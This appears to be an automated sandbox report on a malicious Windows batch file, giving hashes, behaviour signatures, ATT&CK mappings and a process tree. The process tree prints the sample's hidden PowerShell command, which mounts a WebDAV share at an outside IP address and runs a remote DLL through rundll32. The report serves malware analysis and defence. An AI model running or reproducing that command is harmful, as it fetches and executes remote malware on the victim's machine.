1409b6f9cfa72641102b2714eca5ed736ac6d2ad15a8a9b90f796d15dfe71cbe

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
14/07/2024, 20:48

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General

Target

8873153963217815223.bat
Size

2KB
MD5

f2da29cd0fe5b748716ed3be26c35736
SHA1

3b1f6d5bf678fce5842be25839e56d83b6e9f1d5
SHA256

1409b6f9cfa72641102b2714eca5ed736ac6d2ad15a8a9b90f796d15dfe71cbe
SHA512

0214368f1a5ccebff7c2353bee1600f555e9119304a0680b97510fa60ff6dbad199746f5d331d1a7b8382296d39525ff223ab6a006a6ef2878505f5fc6e78f6d

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2860	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2860	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2860	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2796	wordpad.exe
2796	wordpad.exe
2796	wordpad.exe
2796	wordpad.exe
2796	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2764 wrote to memory of 2796	2764	cmd.exe	32
PID 2764 wrote to memory of 2796	2764	cmd.exe	32
PID 2764 wrote to memory of 2796	2764	cmd.exe	32
PID 2764 wrote to memory of 2860	2764	cmd.exe	33
PID 2764 wrote to memory of 2860	2764	cmd.exe	33
PID 2764 wrote to memory of 2860	2764	cmd.exe	33
PID 2860 wrote to memory of 2616	2860	powershell.exe	35
PID 2860 wrote to memory of 2616	2860	powershell.exe	35
PID 2860 wrote to memory of 2616	2860	powershell.exe	35
PID 2860 wrote to memory of 3016	2860	powershell.exe	36
PID 2860 wrote to memory of 3016	2860	powershell.exe	36
PID 2860 wrote to memory of 3016	2860	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\8873153963217815223.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2764
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1845.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2860
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2616
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1845.dll entry
    3⤵
    PID:3016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2764-17-0x00000000022D0000-0x00000000023D0000-memory.dmp

Filesize
1024KB

Download
memory/2764-16-0x00000000022D0000-0x00000000023D0000-memory.dmp

Filesize
1024KB

Download
memory/2860-23-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2860-24-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download